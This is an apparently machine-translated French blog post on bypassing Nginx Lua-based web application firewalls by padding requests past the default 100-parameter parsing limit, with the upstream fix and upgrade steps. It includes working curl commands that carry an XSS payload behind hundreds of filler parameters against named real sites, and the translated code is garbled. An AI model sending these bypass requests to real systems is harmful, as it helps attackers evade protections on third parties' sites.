|
|
Publié sur 27/04/2018 09:23:29
|
|
|
|

Lorsque ginx Lua obtient des paramètres, les 100 premières valeurs de paramètres sont obtenues par défaut, et les autres sont rejetés. Par conséquent, les WAF utilisant Nginx Lua seront contournés par défaut. Le 20 avril 18, quelqu’un sur le passage de la sécurité avait déjà divulgué ce détail, j’ai donc aussi publié cet article 233.
Principe
La description officielle est la suivante
Notez qu’un maximum de 100 arguments de requête sont analysés par défaut (y compris ceux portant le même nom) et que d’autres arguments de requête sont silencieusement supprimés pour éviter d’éventuels Attaques par déni de service. Jusqu’à 100 paramètres de requête (y compris ceux portant le même nom) peuvent être analysés par défaut, et des paramètres de requête supplémentaires sont automatiquement supprimés pour prévenir d’éventuelles attaques par déni de service.
Recherche 100, à peu près la méthode suivante, a le même problème. ngx.req.get_uri_args Obtenir les paramètres de requête pour get ngx.req.get_post_args Obtenir les paramètres de requête pour la publication ngx.req.get_headers Obtenir l’en-tête de requête ngx.decode_args Décoder l’URL des paramètres ngx.resp.get_headers Obtenez l’en-tête de réponse Dans le code source du module lua-nginx, on peut voir que le code source fixe le paramètre et l’en-tête de requête maximaux par défaut à 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Cependant, l’officiel fournit une méthode pour modifier la valeur par défaut, comme ngx.req.get_uri_args (200) pour obtenir les 200 premiers paramètres de requête.
Test
Si le paramètre de requête est 101, le dernier paramètre de requête ne peut pas être obtenu.
Curl -V « http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg »
Si vous réduisez un paramètre de requête, vous pouvez obtenir le dernier paramètre lorsque les paramètres de requête sont exactement 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 R : ZBG Je t’ai eu, zbg
Notez que le défaut est effectivement de 100 paramètres de requête, et que les paramètres de requête après 100 paramètres de requête seront supprimés.
Il y a une chose étrange : dans le contenu de retour ci-dessus, au milieu de la position approximative, le paramètre final zbg est déjà sorti. Je suppose que la sortie n’est pas dans l’ordre, mais l’ordre dans lequel l’analyse est appliquée suit l’ordre dans lequel les paramètres sont soumis, car lorsque la valeur du 101e paramètre est zbg, la valeur ne peut pas être obtenue.
Joint est le script python qui génère les paramètres :
# Auteur : ZBG # Mail :zbg@zbg.org # Date : 2018-04-03
a = '' Pour I dans la plage (200) : A = A + 'A{0}={1}&'.Format(I+1, I+1) Imprimer un réparer Bien sûr, il n’est pas recommandé de modifier la valeur MAX du paramètre dans le code source. Parce que peu importe la valeur que vous fixez, elle peut être contournée. Il est recommandé de le régler selon les paramètres de la méthode. Si vous pouvez obtenir la longueur du paramètre de requête et utiliser une méthode comme ngx.req.get_uri_args (lenth), cela ne suffirait-il pas ? En lisant la documentation, j’ai constaté que le nombre de paramètres demandés n’était pas possible. Cependant, si vous mettez la lentille à 0, vous pouvez obtenir tous les paramètres demandés.
Cet argument peut être réglé à zéro pour supprimer la limite et traiter tous les arguments de requête reçus. args local = ngx.req.get_uri_args(0)
Cependant, il est fortement déconseillé de la régler à 0 pour prévenir d’éventuelles attaques par déni de service.
La suppression du plafond de max_args est fortement déconseillée.
En fait, je me demandais pourquoi le réglage de 0 entraînerait une attaque potentielle de déni de service, et que la requête irait de toute façon à nginx, peu importe le nombre de paramètres dans get ou post.
J’ai soulevé un problème auprès du responsable, et l’auteur a dit que ngx.req.get_uri_args (0) augmenterait la consommation CPU et mémoire du serveur. Par la suite, j’ai testé 200 paramètres et utilisé Nginx+php pour obtenir le 200e paramètre, ce qui signifie que Nginx ne limite pas par défaut le nombre de paramètres demandés. Alors le problème pourrait résider dans Nginx Lua lui-même,Lorsque Nginx Lua utilise ngx.req.get_uri_args(0) pour obtenir tous les paramètres et les itère à travers eux, une fois beaucoup de paramètres demandés, cela consomme plus de CPU et de mémoire, et finit même par entraîner un déni de service。
Le 03/04/2018, Bypass007 a officiellement soulevé un PROBLÈME concernant cette correction de bug, et a finalement ajouté officiellement une nouvelle fonctionnalité basée sur ce PROBLÈME le 21-04-2018. L’adresse de l’enregistrement de validation de cette fonction : https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
La description de la fonction est la suivante : dans les versions postérieures à la v0.10.13 (y compris la v0.10.13), lorsque le nombre limite de requêtes est dépassé, la seconde valeur de retour est la chaîne tronquée. Depuis la version v0.10.13, lorsque la limite est dépassée, elle retourne une seconde valeur qui est la chaîne « tronquée ». Cependant, l’argument optionnel de la fonction max_args peut être utilisé pour contourner cette limite : args local, err = ngx.req.get_uri_args(10) if err == « tronqué » alors -- on peut choisir d’ignorer ou de rejeter la demande actuelle ici Fin
Donc, la correction finale est sortie.
Mettre à jour lua-nginx-module vers la v0.10.13 ou plus récente
Ensuite, limitez le nombre total de paramètres, car pour la limite totale du nombre, personnellement je pense que 100 suffisent
OpenResty met à jour le module lua-nginx
Je n’ai trouvé aucune information sur le module d’amélioration OpenResty, alors j’ai trouvé comment améliorer le module lua-nginx par moi-même.
Les étapes sont les suivantes :
Téléchargez la version correspondante du module lua-nginx WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 déballer tar -zxvf v0.10.13 Supprimer la version précédente du module lua-nginx RM -RF OpenResty-1.9.15.1/Bundle/ngx_lua-0.10.5 Copiez le nouveau module lua-nginx MV Lua-nginx-module-0.10.13 OpenResty-1.9.15.1/Bundle/ngx_lua-0.10.13 Pour la compilation, se référer aux paramètres de compilation de VeryNginx
Contournement de boîtier
Il faut préciser que pour les WAF suivants, je ne suis pas sûr d’utiliser Nginx Lua, mais ils peuvent être contournés par le nombre total de paramètres.
Ali WAF
Ce WAF est un WAF utilisé en interne par Alibaba, c’est-à-dire le WAF utilisé par des noms de domaine tels que *.taobao.com, et n’a pas été testé pour le WAF cloud vendu par Alibaba Cloud. D’abord, demandez à un POST XSS Payload pour l’intercepter. Curl -v -D 'a=<img SRC=x onerror=alert(/xss/)>' lu.taobao.com Grâce à Fuzz, il a été constaté que lorsque le nombre de paramètres est augmenté à 478, avec XSS Payload, il n’est plus intercepté et que le site web peut être accessible normalement. Curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
Le WAF testé est un WAF vendu par UCloud. Lorsque le paramètre de requête est augmenté à 138, il ne sera plus bloqué et le site web sera accessible normalement. boucle -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alerte(1234)' taqu.cn
Tencent WAF
Ce WAF est un WAF utilisé en interne par Tencent, c’est-à-dire le WAF utilisé par des noms de domaine tels que *.qq.com, et n’a pas été testé pour le WAF cloud vendu par Tencent Cloud. Lorsque le paramètre de demande passe à 4000, il ne sera plus bloqué et le site web sera accessible normalement. Les tests aléatoires des domaines suivants sont concernés. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
résumé
Cette question est très simple, et vous pouvez la trouver en lisant attentivement le document. Mais pourquoi ne l’ai-je pas su ? Je pense que c’est encore trop peu de réflexion. Référence
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Précédent:Apprenez Photoshop à partir de zéro, 18 leçons du novice au dieuProchain:Forces et faiblesses de Lua et Luajit
|